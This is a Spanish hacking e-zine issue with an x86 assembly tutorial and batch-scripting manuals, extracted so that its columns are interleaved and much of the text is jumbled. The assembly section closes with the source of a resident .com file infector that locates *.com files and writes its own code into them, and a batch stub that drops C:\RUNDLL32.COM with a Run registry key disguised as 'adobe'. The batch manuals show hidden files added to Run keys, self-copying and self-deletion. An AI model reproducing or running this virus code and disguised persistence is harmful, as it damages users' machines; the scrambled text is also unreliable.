En lenguajes de alto nivel, como el basic, se tienen
Sintaxis: lea (reg/pos),(reg/pos) comandos o sentencias que permiten tener un control
sobre las sentencias que se ejecutan en un
Ejemplo: lea ax,dx
Hacking Newbie
Introduccion Al ASM II CUH e-zine 3ª Edicion
programa, a estas les llamaremos "sentencias “ Æ tabla sacada de la red
condicionales", ya que toman en cuenta el
cumplimiento de una condición para seguir con la En la tabla podemos ver el código en hexadecimal,
siguiente; entre estos comandos podemos ver: el el mnemónico y su significado.
"if"(como principal); while; until; etc.
En asm también tenemos mnemonicos Weno, para tenerlo mas claro veremos un ejemplo:
condicionales, los cuales cada uno de ellos
representa una condición especifica. Como principal …
ejemplo tenemos a los saltos. Estos saltos estan MOV DX,00 ;dx==00
condicionados por los valores que poseen las "flags" INI:
(registros especiales que vimos en el 1er tuto). Como INC DX ;incrementa el valor dx en 1Æ dx+1
ya hemos vistos, el mnemonico "jmp" ~ jump ~ CMP DX,05 ;compara dx con 05
saltar.. se utiliza para saltar a una posición JE FOK ;si dx=05 salta a la etiqueta FOK
especifica de memoria determinada ya sea por una JMP INI ;sino salta a la etiqueta INI
etiqueta(en leguajes de macro como en el "TASM") o FOK:
por una dirección de offset. Técnicamente esto lo MOV AH,4C ;ah==4C
hace incrementando el valor de IP (Puntero de …
Instrucción). Equivale a un GOTO. Lo que akabamos de ver es un simple bucle que
establece el valor de dx en 00 luego cuando entra en
Ejemplos: la etiqueta “ini”, se incrementa el valor de dx, o sea
… que, si antes de entrar en la etiqueta dx era 00
JMP 0046D24C ;salta a CS:0046D24C. después del “INC DX”, dx tomaba el valor de 01 y así
… sucesivamente mientras se mantuviera en el bucle,
JMP etq1 ;salta a la etiqueta "etq1" dentro del luego de que el valor de dx se incrementa, este se
macro. compara con el valor “05”, si la flan “equal” se
…. activa, entonces salta a la etiqueta “FOK”, sino
Hay varias derivaciones según la activación de vuelva a “INI”.
diferentes flags. Así las derivaciones son:
“ Esto es algo que veremos muy frecuente en
Hexadecimal Assembler Significa ingeniería inversa.
75 o 0F85 Jne Salta si no es equivalente
3.1-Saltos cortos, cercanos y largos.
74 o 0F84 Je Salta si es equivalente
EB Jmp Salta directamente a . . . Hay veces que necesitamos indicar que tipo
( No OPeration ) Sin de salto realizaremos dependiendo de tan lejos
90 Nop saltaremos.
operación
77 o 0F87 Ja Salta si esta sobre
JMP SHORT ~ Salto corto: Se realiza si vamos a
OF86 Jna Salta si no esta sobre saltar a una dirección comprendida entre lo q puede
0F83 Jae Salta si esta sobre o igual dos bytes (-128 a +127 antes o después de IP actual).
Salta si no esta sobre o …
0F82 Jnae 00402207 JMP SHORT 402100
igual
0F82 Jb Salta si es inferior …
0F83 Jnb Salta si no es inferior JMP NEAR ~ Salto cercano: Se realiza si vamos a
Salta si esta debajo o saltar a una dirección comprendida entre lo q puede
0F86 Jbe
igual un byte (-32768 a +32767 antes o después de IP
Salta si no esta debajo o actual).
0F87 Jnbe
igual …
0F8F Jg Salta si es mayor 00402207 JMP NEAR 404010

0F8E Jng Salta si no es mayor
0F8D Jge Salta si es mayor o igual Un salto largo es ya cuando se tiene como
Salta si no es mayor o distancia el contenido de 4 bytes. Este tipo de saltos
0F8C Jnge
igual se ven cuando un programa llama a una función de
0F8C Jl Salta si es menor un modulo.
Por ejemplo para saltar a USER32.GetDlgItemTextA
0F8D Jnl Salta si no es menor
desde el app.00401171:
0F8E Jle Salta si es menor o igual
Salta si no es menor o ------------------------------------------app.exe----------
0F8F Jnle
igual …
Hacking Newbie
Introduccion Al ASM II CUH e-zine 3ª Edicion
00401171 JMP DWORD PTR PUSH AH ;AH a stack
DS:[<&USER32.GetDlgItemTextA>] PUSH DH ;DH a stack
… PUSH AL ;AL a stack
--------------------------------------------------------------- POP DL ;recordemos q el ultimo valor en entrar a la
pila fue el de AL, y AL vale 02 asiq DL=02
Algo que tenemos que tomar en cuenta es …
que las especificaciones de corto, cercano y lejano,
también debemos especificarlas en las demás Por si acaso:
derivaciones de saltos (los condicionales), claro, PUSH X ~ Meter: Mete el valor de el registro X en la
cuando sea necesario. pila
POP Y ~ Sacar: Saca y guarda en el registro Y el
4- Instrucciones PUSH y POP. La PILA o STACK ultimo valor introducido en la pila.

Para empezar con esto, tengamos este La pila es como un almacén donde se
diagrama en mente: guardan valores de los registros. Recordemos que la
dirección de la pila esta especificada por los
PUSH Y = mete el valor de Y en el almacén registros:
POP X = saca y guarda, el ultimo valor metido en el SS:SP (Stack Segment:Stack Pointer ~ Segmento de la
almacén, en X pila:Puntero actual de la pila).

5- Instrucción LOOP
Almacén = Weno esencialmente, esta instrucción la usaremos a
| | la hora de crear bucles y no qeremos meternos con
| | mov-inc-cmp-jne. Básicamente lo que hace LOOP es
| | comparar CX con 0 si CX=0 entoncs continua con la
|_ _| siguiente instrucción si no vuelve a su parámetro.
LOOP decrementa el valor de CX cada ves que IP se
A=1 ubica en el.
B=2
C=3 -Su sintaxis es:
D=0
LOOP PARAM
Æ PUSH A
| | -- donde PARAM es la instrucción a la cual volvera IP
| | si CX no es igual a 0
| |
| _1_ | Ejemplo:
Æ PUSH C …
| | MOV CX,05h
| | INI:
| 3| LOOP INI
| _1_ | FOK:
Æ PUSH B …
| |
| 2| 6- Instrucciones CALL Y RET:
| 3|
| _1_ | La orden CALL equivale a un CALL en batch.
Æ POP D Y RET equivale a GOTO :EOF en batch. Su sintaxis
es como la del JMP, se permiten etiquetas, registros,
..... ... direcciones de memoria. CALL lo que hace es
D=2 .: | : | | | introducir IP+1 en la pila, o sea la instrucción que
| 2| Æ | | sigue al CALL, y salta a la dirección que se le indica,
| 3| | 3| RET toma el valor que introduce el CALL en la pila, y
| _1_ | | _1_ | salta a el.

Ahora veamos como se vería este diagrama en asm: Ejemplo en Batch:


… …
MOV AH,01 ;AH=01 SET NOMBRE=JORGE
MOV AL,02 ;Al=02 CALL :EC %NOMBRE%
MOV DH,03 ;DH=03 EXIT
MOV DL,00 ;DL=0 :EC
Hacking Newbie
Introduccion Al ASM II CUH e-zine 3ª Edicion
ECHO %1 ;definición de buffer
GOTO :EOF stac ENDS
… ------------------------------------segmento .data---------
Ejemplo en ASM: data SEGMENT PARA PUBLIC
… ;definición de valores
NOM DB "JORGE$" data ENDS
.CODE ------------------------------------segmento .code---------
INI: codi SEGMENT PARA PUBLIC 'code'
MOV AX,@DATA prin PROC FAR
MOV DS,AX ASSUME CS:codi, DS:data, SS:stac, ES:eseg
MOV DX,OFFSET NOM ;codigo del programa
MOV AH,9 prin ENDP
CALL XXI codi ENDS
JMP OTER prin END
XXI: ------------------------------------segmento extra---------
INT 21H eseg SEGMENT PARA PUBLIC
RET
… ;código
Eseg ENDS
6- Funciones dentro de un programa escrito en --------------------------------------FIN---------------------
TASM.
Sintaxis B (Asumiendo segmentos sin definirlos
En lenguajes como el BASIC, tenemos la todos):
opción de tener subrutinas las cuales podemos
llamar en cualquier momento asi podemos ver en ---------------------------------------------------------------
BASIC: ;definición de constantes y modelo
… ;macros
Sub sumd(Dim var as Integer) ------------------------------------segmento .code---------
var = var + 1 codi SEGMENT PARA PUBLIC 'code'
End Sub prin PROC FAR
… ASSUME CS:codi, DS:codi, ES:codi
En TASM también podemos tener funciones. ;codigo del programa
Así podemos ver el ejemplo en BASIC en TASM: prin ENDP
… codi ENDS
sumd macro var prin END
mov dx, var -------------------------------------FIN----------------------
inc dx
ENDM
… Nota: Si no necesitamos establecer la pila, bien
Donde “sumd” es el nombre del macro, podemos omitir su inclusión en el programa.
“macro” especifica que una función y var se refiere a
el argumento de la llamada. 8- Programa de practica:
Weno como programa de practica haremos un code
Las funciones se deben especificar antes de algo rebuskdo pero q en fin nos ayudara a ver
el código (segmento .code o .text). algunas estructuras que vimos en este tuto, además
de algunos servicios de la int 21h y una inclusión
7- Estructura de un ejecutable escrito en TASM (2da para los q somos batch coderz, “como podemos
forma) fusionar un archivo .bat y uno .com! .. xD”

En el tuto anterior aprendimos una forma de .286


estructura para crear un programa con TASM ;especificamos el modelo
mediante la definición concreta de los segmentos de
código, esta vez aprenderemos otra forma en la cual prog segment byte public 'CODE'
asumiremos los segmentos en el proceso principal. assume cs:prog, es:prog, ds:prog
;definimos segmentos
Sintaxis A (Estableciendo todos los segmentos): org 100h
--------------------------------------------------------------- ini:
;definición de constantes y modelo ;escribimos el codigo batch q se ejecutara en .bat
;macros db '@ECHO OFF',0dh,0ah
------------------------------------stack--------------------- db ':'
stac SEGMENT PARA STACK 'stack' jmp hma
Hacking Newbie
Introduccion Al ASM II CUH e-zine 3ª Edicion
;cuando se ejecuta el .com aki saltamos al area (cerrar archivo)
virica int 21h
db 0dh,0ah cont:
db 'COPY %0.BAT ' mov ah,4fh ;servicio 4fh
virr_com: db 'C:\RUNDLL32.COM' (buscar siguiente archivo)
db '>NUL',0dh,0ah int 21h
db'reg add jnb enc_arch ;si existen
HKLM\software\microsoft\windows\currentversion\ mas archivos, los infectamos, sino terminamos
run /v adobe /d "C:\RUNDLL32.COM" /f',0dh,0ah salr:
db 'C:\RUNDLL32.COM',0dh,0ah int 20h
db 1ah ;devolvemos control
copi label byte copif label byte ; lo usamos
;aki especificamos donde comienza el fragmento a para cuestiones del cantidad de bytes a copiar
copiar codi endp
arch: db "*.com",0 prog ends
;especificamos el tipo de archivos a infectar end ini
hma proc near
mov di,0ffffh
mov bx,copif-a_hma+05h El programa es un infectador de archivos
mov ax,4a02h ;ya .com residente, el programa es bastante sencillo
estamos residentes? pero nos ayudara a tener algunos conceptos en
int 2fh orden, además que vemos la técnica de residencia
inc di por hma (high memory acess) y algunos servicios de
jz salr ;si ya manejo de archivos, si bien no se pudo explikr bien
estamos residentes, nos vamos el programa a sido por cuestiones de espacio e
push di intentando que el lector desarrolle la habilidad de
cld ;flag de investigar, corregir errores y analizar.
acarreo a 0
mov si,offset a_hma ;comienza
desde el offset de a_hma
mov cx, copif-a_hma ;cantidad a
pasar
rep movsb ;pedimos
residencia en hma
hma endp
a_hma label byte
codi proc near
mov ah,04eh ; servicio 4eh
(buscar primer archivo del directorio actual)
lea dx,arch ; CX =
atributos
int 21h ; DS:DX ->
Me conformo con q un 70% haya podido ser
filespec ;(en nuestro caso: archive ~ *.com)
comprendido … =D ….. Saludos y hasta la próxima!
enc_arch:
mov ax,3d02h ; servicio 3dh
(Abrir archivo)
mov dx,9eh ; DS:DX ->
nombre del archivo (en nuestro caso usamos el
9eh~dta del 4eh)
int 21h ; AL =
modo de apertura .. 2 – leer y escribir
copir_arch:
mov cx,copif-copi ; servicio 40h
(escribir en archivo)
lea dx,copi ; CX =
numero de bytes a escribir
mov ah,40h ; DS:DX ->
buffer
int 21h
mov ah,3eh ;servicio 3eh
The Shadow
Programacion
Manual Batch CUH e-zine 3ª Edicion

Manual de Batch By Espectro Infernal

vuelva a la lectura de código después de la llamada


MANUAL UTILIDAD FOR + CALL + ETIQUETA a la etiqueta y no acabe con el código. Vamos a
Bueno, en este manual voy a entender esto mejor:
explicar uno de los usos más
frecuentes y habituales en el @ECHO ON
comando FOR. Es una utilidad fácil ECHO HOLA
de aprender (si ya se sabe manejar con GOTO :SALUDO
las funcionalidades básicas del FOR) y a la vez, muy PAUSE
útil. Saber utilizar correctamente y con ingenio esta MSG FIN
utilidad, como en todas las utilidades del FOR, nos :SALUDO
ayudará a programar mejor nuestros proyectos. ECHO ADIOS
Cuando digo programar mejor, me refiero a hacer PAUSE
un code más legible, con menos líneas, más preciso, GOTO :EOF
limpio, profesional.
En este manual no voy a enseñar a como usar el Como podemos ver, al llegar a la etiqueta saludo,
nos escribe el mensaje “adiós” y hace “GOTO :EOF”
FOR, doy por entendido que si quieres usar esta
que lo tomaremos como un “END”. Se acaba el
utilidad sencilla ya sabes usar el FOR de manera programa. Ahora vamos a utilizar el mismo code
sencilla, como mínimo. De este modo, quiero hacer pero la llamada a la etiqueta la haremos con CALL:
un manual más o menos corto, didáctico, sencillo, y
sobretodo, que se entienda y aprendan algo. @ECHO ON
ECHO HOLA
Para empezar vamos a ver la estructura que tiene CALL :SALUDO
este FOR…: PAUSE
FOR [/L, /F, /R] [CRITERIOS] %%VARIABLE IN MSG FIN
(CONJUNTO) DO COMANDO [PARAMETROS] :SALUDO
ECHO ADIOS
Digamos que la parte en negrita es la que nosotros PAUSE
tendremos que introducir según lo que queramos GOTO :EOF
hacer, estas partes pueden estar en corchetes (lo cual
significa que no son obligatorias pero en la medida En este caso llega al GOTO :EOF y lo que hace es
de lo posible, deberíamos usarlas siempre para ser volver al code desde la línea donde se llamo a la
más precisos con nuestro código) y la parte etiqueta, de este modo que el resto del código (MSG
subrayada es la que es totalmente obligatoria. Todo * …) sigue en curso. Esta es la clave principal para
esto supongo que ya lo saben. Tómenlo como una entender el uso del FOR con el CALL y ver las
pequeña introducción. Ahora voy a explicarles que utilidades que esto tiene. En el caso de este code, el
método vamos a tratar y porque lo usaremos, sus primer “GOTO :EOF” que se ejecute, funcionará
ventajas, etc. correctamente, volverá a la línea después de la
Vamos a usar un método en el que podremos usar llamada a la etiqueta y leerá el “MSG”, pero luego,
cualquier variedad del FOR (/F, /R, /L) y nuestra por lógica, volvería a leer la etiqueta ya que no hay
parte fundamental será el uso del CALL como ninguna instrucción que envíe el flujo de código a
otro lado. La segunda vez que se ejecute “GOTO
comando. Que ventajas tiene CALL en frente a
:EOF” no nos devolverá a la llamada de la etiqueta
GOTO? Bien, principalmente, en el uso de CALL porque está no fue llamada, simplemente se leyó
para llamar una etiqueta, podemos usar parámetros porque el orden del código era ese. Es importante
por lo que podremos trabajar con lo que el FOR esté darse cuenta del funcionamiento que tiene CALL
pues ahora vamos a empezar con una de la
sutilidades que tiene usar el FOR+CALL+ETIQUETA y
luego usar el FOR+CALL+ETIQUETA+PARÁMETROS,
trabajando en un momento de la ejecución del flujo que es la más útil de las que voy a explicar en este
de código. Además, podemos usar el GOTO :EOF manual, lógicamente. Ya que el paso de parámetros
en la llamada a una etiqueta, con CALL para que a una etiqueta llamándola con CALL es una gran
Programacion
Manual Batch CUH e-zine 3ª Edicion
ventaja. ECHO QWER >> %SYSTEMDRIVE%\ARCHIVOS.TXT
Normalmente usaremos FOR+CALL para poder ECHO 1234 >> %SYSTEMDRIVE%\ARCHIVOS.TXT
realizar tareas muy rutinarias en las que pueda ECHO KLM >> %SYSTEMDRIVE%\ARCHIVOS.TXT
variar una parte del código. Vamos a poner un ECHO JHG >> %SYSTEMDRIVE%\ARCHIVOS.TXT
ejemplo sencillo; en este caso, queremos crear 5 FOR /F “TOKENS=* DELIMS= ” %%A IN
archivos y ponerles a cada uno de estos sus (%SYSTEMDRIVE\ARCHIVOS.TXT) DO CALL :TAREA
correspondientes atributos y agregarlos al registro %%A
en RUN. En ese caso podemos encontrar 2 formas EXIT
básicas, la más sencilla: Crear 5 archivos, agregar 5
veces los atributos, agregar cada uno de estos :TAREA
archivos. Un total de cómo mínimo 15 líneas. Bien SET A=%1
vamos a ver dos códigos, el primero es el sencillo y ECHO 10>%SYSTEMDRIVE%\%A%.TXT
en el segundo usaremos el FOR. Vamos a verlo: ATTRIB +H %SYSTEMDRIVE%\%A%.TXT
REG ADD
@ECHO OFF “HKLM\Software\Microsoft\Windows\CurrentVersio
ECHO 10 > %SYSTEMDRIVE%\ASDF.TXT n\Run” /v “%a%” /d “%SYSTEMDRIVE%\%A%.txt”
ECHO 10 > %SYSTEMDRIVE%\QWER.TXT /f > nul
ECHO 10 > %SYSTEMDRIVE%\1234.TXT GOTO :EOF
ECHO 10 > %SYSTEMDRIVE%\KLM.TXT
ECHO 10 > %SYSTEMDRIVE%\JHG.TXT Bien este es un claro ejemplo del uso de esta
ATTRIB +H %SYSTEMDRIVE%\ASDF.TXT utilidad. El code es más corto, usamos un comando
ATTRIB +H %SYSTEMDRIVE%\QWER.TXT útil, es más “preciso” por decirlo de algún modo. Y
ATTRIB +H %SYSTEMDRIVE%\1234.TXT además nos ahorramos líneas, imaginen que quieren
ATTRIB +H %SYSTEMDRIVE%\KLM.TXT hacer más acciones con cada uno de los archivos,
ATTRIB +H %SYSTEMDRIVE%\JHG.TXT pues en el primer code deberían construir el código
REG ADD de la acción a realizar 5 veces (1 por archivo) sin
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVer embargo en el uso del FOR solo deberíamos hacerlo
sion\Run” /v “ASDF” /d “%SYSTEMDRIVE\ASDF.TXT” 1 vez. Si entendiste la explicación del GOTO :EOF
/f > nul en la llamada a una etiqueta con CALL, el código no
REG ADD te habrá sido difícil de entender, incluso podríamos
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVer ahorrarnos declarar una variable que contenga el
sion\Run” /v “QWER” /d parámetro “%1”. Cabe explicar eu la llamada a la
“%SYSTEMDRIVE\ASDF.TXT” /f > nul etiqueta con CALL sigue esta estructura en el cuerpo
REG ADD del FOR:
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVer CALL :TAREA %%A
sion\Run” /v “1234” /d “%SYSTEMDRIVE\ASDF.TXT” CALL es el comando que llama a la etiqueta que
/f > nul procede por “:nombre” y el parámetro se establece
REG ADD con %%A, que contiene la palabra que en ese
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVer momento FOR está escaneando. En el primer ciclo
sion\Run” /v “KLM” /d “%SYSTEMDRIVE\ASDF.TXT” del FOR, CALL se mostrará así:
/f > nul
REG ADD FOR /F “TOKENS=* DELIMS= “ %%A IN
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVer (%SYSTEMDRIVE%\ARCHIVOS.TXT) DO CALL
sion\Run” /v “JHG” /d “%SYSTEMDRIVE\ASDF.TXT” :TAREA %%A
/f > nul
EXIT Y el primer ciclo tomará la siguiente forma:
CALL :TAREA ASDF
Como podemos ver, el code lo hicimos del modo Entrara a la etiqueta tarea y establecerá la variable
más fácil. Podríamos ponerlo todo en una línea “a” como contenido del primer parámetro (%1), en
concatenando con “&” o “&&” pero eso es jugar este caso: ASDF y gracias a esta variable podrá
sucio, el code ha de ser bonito, legible y haciéndolo ejecutar el código con sentido, el nombre del archivo
de este modo estamos consiguiendo nuestro objetivo que cree se llamará asdf, el valor del registro
pero hicimos un code demasiado largo 17 líneas, (15 también, etc. Cuando llegue a la línea GOTO :EOF,
+ @echo off + exit.) volverá hasta la llamada de CALL, como este CALL
Ahora vamos a hacer este code usando está dentro de un for, antes de continuar el código,
for+call+etiqueta+parámetros y seguro que notarás mirará si ya se acabaron de ejecutar todos los ciclos
la diferencia. del bucle, si no es así, continua. En este caso, tomará
la segunda palabra: QWER, llamara a la etiqueta
@ECHO OFF TAREA pasándole el parámetro (QWER) y se
ECHO ADSF > %SYSTEMDRIVE%\ARCHIVOS.TXT realizarán las acciones determinadas. Una vez
terminado el bucle FOR, continua con el resto del
Programacion
Manual Batch CUH e-zine 3ª Edicion
código, (EXIT) y acaba el programa. %PALABRA8%>>%SYSTEMDRIVE%\PALABRAS.TXT
Como has podido observar, usando CALL en un FOR ECHO
podemos hacer muchas acciones para muchos %PALABRA9%>>%SYSTEMDRIVE%\PALABRAS.TXT
objetos, archivos, etc. Con poco código. También
podríamos trabajar con diferentes variables. En este ECHO
caso nosotros hemos trabajado con un FOR /F, %PALABRA10%>>%SYSTEMDRIVE%\PALABRAS.TXT
ahora imagínate que queremos trabajar con 10 SET PALABRA1=
variables, bien, la nomenclatura de estas 10 variables SET PALABRA2=
con las que queremos trabajar tienen que tener una SET PALABRA3=
relación. Por ejemplo: palabra1, palabra2, palabra3, SET PALABRA4=
palabra4, etc. Tienen una relación el nombre de SET PALABRA5=
estas variables? Si, por supuesto, una vez esto, SET PALABRA6=
podemos ponernos a trabajar con 10 variables SET PALABRA7=
usando FOR+CALL+ETIQUETA+PARÁMETROS: SET PALABRA8=
SET PALABRA9=
@ECHO OFF SET PALABRA10=
SET PALABRA1=HOLA EXIT
SET PALABRA2=,
SET PALABRA3=YO Bien, en este code lo que hemos hecho es lo
SET PALABRA4=ME siguiente: Creamos 10 variables,
SET PALABRA5=LLAMO (palabra1,palabra2,palabra3,etc.) A cada una de
SET PALABRA6=ESPECTRO estas variables le asignamos una palabra, por
SET PALABRA7=INFERNAL ejemplo: la variable palabra6 contiene: “Espectro”.
SET PALABRA8=ENCANTADO Bien, una vez creadas las variables hemos creado 10
SET PALABRA9=DE archivos (.TXT) estos archivos también siguen una
SET PALABRA10=CONOCERTE. lógica (palabra1.txt, palabra2.txt, palabra3.txt, etc.)
ECHO En cada uno de estos archivos hemos almacenado el
%PALABRA1%>%SYSTEMDRIVE%\PALABRA1.TXT contenido de su variable. Por ejemplo: en el archivo
ECHO palabra7.txt tenemos el contenido de la variable
%PALABRA2%>%SYSTEMDRIVE%\PALABRA2.TXT palabra7, es decir: “Infernal”. Seguidamente hemos
ECHO creado un archivo (palabras.txt) que contiene 10
%PALABRA3%>%SYSTEMDRIVE%\PALABRA3.TXT líneas, cada línea es una palabra. Es decir: el
ECHO archivo palabras.TXT tiene este contenido:
%PALABRA4%>%SYSTEMDRIVE%\PALABRA4.TXT
ECHO HOLA
%PALABRA5%>%SYSTEMDRIVE%\PALABRA5.TXT ,
ECHO YO
%PALABRA6%>%SYSTEMDRIVE%\PALABRA6.TXT ME
ECHO LLAMO
%PALABRA7%>%SYSTEMDRIVE%\PALABRA7.TXT ESPECTRO
ECHO INFERNAL
%PALABRA8%>%SYSTEMDRIVE%\PALABRA8.TXT ENCANTADO
ECHO DE
%PALABRA9%>%SYSTEMDRIVE%\PALABRA9.TXT CONOCERTE.
ECHO
%PALABRA10%>%SYSTEMDRIVE%\PALABRA10.TXT Finalmente, establecemos ahora todas las variables
ECHO con un valor nulo. Lo se, el code no tiene ningún
%PALABRA1%>%SYSTEMDRIVE%\PALABRAS.TXT sentido, tómalo como un simple ejemplo. Ahora
ECHO vamos a repetir este code pero vamos a usar el
%PALABRA2%>>%SYSTEMDRIVE%\PALABRAS.TXT FOR+CALL+ETIQUETA+PARÁMETROS para ver la
ECHO cantidad de líneas que nos ahorramos:
%PALABRA3%>>%SYSTEMDRIVE%\PALABRAS.TXT
ECHO @ECHO OFF
%PALABRA4%>>%SYSTEMDRIVE%\PALABRAS.TXT SET PALABRA1=HOLA
ECHO SET PALABRA2=,
%PALABRA5%>>%SYSTEMDRIVE%\PALABRAS.TXT SET PALABRA3=YO
ECHO SET PALABRA4=ME
%PALABRA6%>>%SYSTEMDRIVE%\PALABRAS.TXT SET PALABRA5=LLAMO
ECHO SET PALABRA6=ESPECTRO
%PALABRA7%>>%SYSTEMDRIVE%\PALABRAS.TXT SET PALABRA7=INFERNAL
ECHO SET PALABRA8=ENCANTADO
Programacion
Manual Batch CUH e-zine 3ª Edicion
SET PALABRA9=DE del 0 al 9.
SET PALABRA10=CONOCERTE. El parámetro %0 se distingue de los demás
FOR /L %%A IN (1,1,10) DO CALL :PRIMERATAREA parámetros (%1,%2,%3… %9) por la sencilla razón
%%A de que no es un parámetro que podamos declarar,
FOR /L %%A IN (1,1,10) DO CALL :SEGUNDATAREA simplemente el parámetro existe por defecto y
almacena en u archivo por lotes, la ruta del archivo
%%A que se está ejecutando.
FOR /L %%A IN (1,1,19) DO SET PALABRA%%A= Para entender todo esto mejor, vamos a poner un
EXIT ejemplo. Nuestro programa tiene que copiarse a si
mismo en la carpeta prueba de la unidad c: Veamos
:PRIMERATAREA como podemos programar esto:
SET A=PALABRA%1
ECHO %A% > %SYSTEMDRIVE%\%A%.TXT @ECHO OFF
GOTO :EOF COPY %0 c:\prueba\miarchivo.bat
:SEGUNDATAREA EXIT
SET A=PALABRA%1
ECHO %A%>>%SYSTEMDRIVE%\PALABRAS.TXT En este código usamos el parámetro %0 que como
GOTO :EOF bien dijimos antes, es el parámetro que guarda al
dirección del archivo que se está ejecutando. En este
El primer code tiene 42 líneas y el segundo 23. La caso, no sabemos donde esta situado el archivo que
diferencia de líneas es considerable. Aun así, el se ejecuta, podríamos ejecutar ese .bat en el
segundo code podría hacerse aún más corto ya que escritorio o en la misma unidad c:, de ese modo
no es necesario declarar la variable %a% como el usamos %0 que guardará la ruta del archivo. La
parámetro %1 y podríamos referirnos a %1 parte subrayada completa el comando COPY
directamente. Aún así, para mayor legibilidad del indicando la ruta donde va a ser copiado el archivo
código recomiendo usar variables para almacenar y el nombre que quiere que reciba el archivo en
parámetros. cuestión.
Puedes fijarte también que en el último FOR /L : A continuación pondremos otro ejemplo de uso
del parámetro %0 en un programa. En muchas
FOR /L %%A IN (1,1,19) DO SET PALABRA%%A= ocasiones, podemos querer que el programa que se
está ejecutando se autodestruya, se “auto-delete”.
No llamamos a ninguna etiqueta ya que solo se Bien, si sabemos que el .bat se está ejecutando en el
realiza una acción. En caso de que se realicen más, escritorio podríamos indicar el archivo a eliminar.
es recomendable usar la llamada a etiquetas con Pero si no sabemos donde se ejecuta el .bat no
CALL. podemos definir una ruta específica, por eso
Con este manual se habrán dado cuenta que usaremos el parámetro %0:
conocer esta utilidad del FOR les hará crear codes
con menos letras, mucho más elegantes y podrán @ECHO OFF
manejar mucho mejor el flujo y dirección del código. DEL %0
Espero que haya quedado bien clara la explicación. EXIT
Ya tienen la base, usen su imaginación para hacer
virguerías y exprimir al máximo sus Batch codes. Ahora si que deberíamos tener muy clara la
utilización del parámetro %0. Vamos a manejarnos
MANUAL DE PARÁMETROS EN BATCH: ahora con el resto de los parámetros:
El comando %0 no complementa la llamada a un
Debido a la gran cantidad de problemas que los archivo .bat o a una etiqueta, mientras que el resto
aprendices en programación Batch tienen de parámetros si lo hacen. Vamos a ver un claro
referentemente a los parámetros y lectura de códigos ejemplo. Usaremos el parámetro %1, para referirnos
con estos, me decido a publicar este manual con el al primer parámetro que complementa la llamada a
fin de dejar claro como funcionan los parámetros en un archivo .bat. Para entenderlo vamos a analizar el
Batch, utilidades y uso de estos. siguiente código:
Para empezar, nos centraremos en lo que es un
parámetro. Por definición, un parámetro es una @ECHO OFF
“variable” que puede ser recibida por una subrutina MSG * %1 %2 %3
o complementar la llamada a un procedimiento, o en EXIT
el caso más común en Batch: complementar para
modificar el comportamiento en la llamada a un Si ejecutas el .bat directamente se abrirá la cmd
archivo .bat o una etiqueta.
para preguntarte que mensaje quieres enviar, a que
Para acceder a los distintos parámetros que
acompañen la llamada a un archivo .bat o a una es debido esto? Pues bien, con el comando MSG *
etiqueta con la nomenclatura: “%n” (sin comillas) indicamos que queríamos mandar el mensaje “%1
donde n puede tener cualquier valor entero positivo %2 %3” pero esos parámetros no tienen ningún valor
Programacion
Manual Batch CUH e-zine 3ª Edicion
por lo tanto es como si le pedimos que nos haga un :DECIRFECHA %%A
“MSG * “ sin mensaje. En este caso, daremos un :DECIRFECHA
valor a los parámetros en al llamada al archivo .bat. SET PARAMETRO_FECHA=%1
MSG * %1
Guardemos este ultimo archivo en la unidad c:\ y
MSG * %PARAMETRO_FECHA%
llámenlo “prueba.bat”. EXIT
Ahora vayan a INICIO-EJECUTAR y escriban:
Bien, escribimos la fecha en el archivo prueba.txt.
c:\prueba.bat weeee!!!!!
Uamos sfor, para coseguir el contenido de dicho
Se abrirá el programa y nos escribirá un msgbox
en pantalla con el mensaje que le indicamos. Este archivo y llamamos a la etiqueta con el parámetro
mensaje lo ha tomado como el parámetro %1. %%a (%%a es la variable que usamos en el for
Repite lo mismo pero esta vez: c:\prueba.bat hola para almacenar el contenido del archivo prueba.txt).
como estas Nos dirigimos a la etiqueta y declaramos una
variable llamada PARAMETRO_FECHA, que contiene
El resultado es el esperado. El archivo tomo los el contenido del parámetro (%1). De este modo
parámetros %1, %2, %3 como argumentos en la
demostramos que pdoemo ddeclarar variables que
llamada a si mismo. Entonces:
Hola=%1 tengan el contenido de un parámetro o referirnos al
Como=%2 parámetro directamente con su nomenclatura
Estas=%3 habitual (%n).Otro ejemplo más sencillo:
De este modo también podemos usar sentencias
“IF” para saber si el archivo que se esté ejecutando @ECHO OFF
se le han pasado parámetros. Por ejemplo: CALL :ETIQUETA HOLA ADIOS
:ETIQUETA
If “%1”==”” (ECHO NO SE LE PASARON SET A=%1
ARGUMENTOS A LA LLAMADA) SET B=%2
ECHO SALUDOS: %A% %B% && PAUSE && EXIT
Tengan imaginación, con práctica se darán cuenta
d más funcionalidades de estos parámetros. Acabaré con un último aporte de mi amigo /Migue
Para continuar, aclararemos el uso de parámetros que hizo en su momento cuando publiqué un manual
en las etiquetas. Sabemos que una etiqueta puede muy parecido en Internet. Es el uso del comando
ser llamada por GOTO o por CALL. Bien, solo las SHIFT que nos permitirá poder acceder a parámetros
etiquetas que se llamen con el comando CALL mayores a %9:
pueden tener acceso a los parámetros. Ambos La declaración de argumentos de un programa
comandos tienen una función muy parecida pero admite en principio la cantidad de parámetros que
cada uno tiene sus posibilidades. Pueden informarse sean necesarios. Pero en cambio el lenguaje batch
en cmd: GOTO /? CALL /? de windows nt tan solo puede reconocer los 9
Para pasarle comandos a una etiqueta, lo haremos primeros argumentos del programa, es decir, no será
de este modo: valido un acceso a la variable %10 con complejidad
constante ya que no hay un puntero directo al
CALL :etiqueta PARAMETRO1 PARAMETRO2 argumento.
PARAMETRO3 PARAMETRO4… Como acceder a variables superiores a %9? Pues
bien, es sencillo. Se usa el mandato SHIFT, el cual
Y podremos referirnos a estos parámetros con la desplaza una posición a la izquierda todos los
nomenclatura estándar: %n. Pongamos un ejemplo. argumentos introducidos.
Queremos que nos muestre el texto que aparece en Es decir: %0 <- %1 <- ... %9 <- %10 ...
Con lo cual se pierde el antiguo %0 y a menos que
un archivo .txt. Para hacer que este ejemplo se
se haya salvaguardado en otra variable, no podrá
entienda, haremos que el .txt se llame fecha y se ser recuperado.
guarde en la unidad c: Este archivo contendrá la De esta forma ya es visible el argumento 10 y como
facha e lo que haremos es llamar a una etiqueta y podéis observar, su acceso se realiza en complejidad
